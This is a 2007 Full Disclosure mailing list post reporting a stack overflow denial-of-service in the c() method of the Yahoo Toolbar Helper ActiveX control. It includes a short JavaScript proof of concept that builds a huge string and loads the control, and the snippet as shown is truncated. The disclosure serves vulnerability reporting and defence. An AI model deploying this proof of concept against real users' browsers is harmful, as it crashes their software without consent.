Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Yahoo Toolbar Helper c() Method Stack Overflow DoS
From: Elazar Broad <elazarb () earthlink net>
Date: Thu, 29 Nov 2007 22:56:46 -0500 (GMT-05:00)

There is a stack overflow in the c() method of the Yahoo Toobar Helper class. This overflow does not appear to get 
anywhere near the EIP or SEH. PoC as follows:

 written by e.b.
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

     while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-C3F9-4EFB-9B51-7695ECA05670}

 <body onload="JavaScript: return Check();">


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Yahoo Toolbar Helper c() Method Stack Overflow DoS Elazar Broad (Nov 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]